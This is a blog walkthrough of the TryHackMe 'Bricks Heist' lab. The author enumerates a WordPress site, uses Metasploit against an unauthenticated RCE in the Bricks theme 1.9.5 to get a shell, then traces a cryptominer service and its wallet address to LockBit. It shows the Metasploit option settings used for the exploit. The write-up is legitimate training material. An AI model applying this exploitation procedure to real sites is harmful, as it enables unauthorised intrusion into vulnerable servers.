3.5 KiB
| title | author | categories | tags | render_with_liquid | media_subpath | image | ||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| TryHackMe: TryHack3M: Bricks Heist | AmcaQt |
|
|
false | /images/thm_bricks_heist/ |
|
{: width="600" height="150" .shadow }
https://tryhackme.com/r/room/tryhack3mbricksheist
Description
Brick Press Media Co. was working on creating a brand-new web theme that represents a renowned wall using three million byte bricks. Agent Murphy comes with a streak of bad luck. And here we go again: the server is compromised, and they've lost access.
Can you hack back the server and identify what happened there?
Note : Add MACHINE_IP bricks.thm to your /etc/hosts file.
Question & Flag
What is the content of the hidden .txt file in the web folder?
First, before do further enumaration, let's run the basic scan with nmap
Interesting find here, without wasting any time let's look further with WpScan
The scan shows the site using Theme bricks with version 1.9.5, after some research and finding we found the version is Vuln to Unauthenticated RCE
The exploit and cve for the version is on github but i want to use metasploit to speed up the exploit
Power up your msfconsole and search for bricks, you shall find the matching modules
simply use command use 0 and fill in the require and you shall get the shell
set LHOST 10.8.58.21
set RHOSTS https://bricks.thm
set RPORT 443
run
with that you may find the answer for Task 1
What is the name of the suspicious process? & What is the service name affiliated with the suspicious process?
For this one go to google and do some research about it , then you'll found the command
get back to the terminal and try out the command
but this is not the answer, let's try view the content of the service
That's what we want
What is the log file name of the miner instance?
Notice that the service is executing from /lib/NetworkManager/ directory, go to that directory
What is the wallet address of the miner instance? & The wallet address used has been involved in transactions between wallets belonging to which threat group?
Using the strings on the log file that we view earlier, try to decode with CyberChef
kinda lost on what that is, but since we searched about wallet address so i did some research
so i need to confirm it, go to Blockchair , lucky it was the correct one, so i went down to the last payment received
Inside that transaction history and from there, inside the privacy check
We can see the details on the transaction
Copy the sender address and search it on google, most of the result return LockBit
Source :
https://ofac.treasury.gov/recent-actions/20240220
https://www.chainalysis.com/blog/lockbit-takedown-sanctions-february-2024/
Conclusion
This was fun Room and good for beginner to learn about CVE and how risky Outdated version of CMS such as WordPress.
Happy Hacking
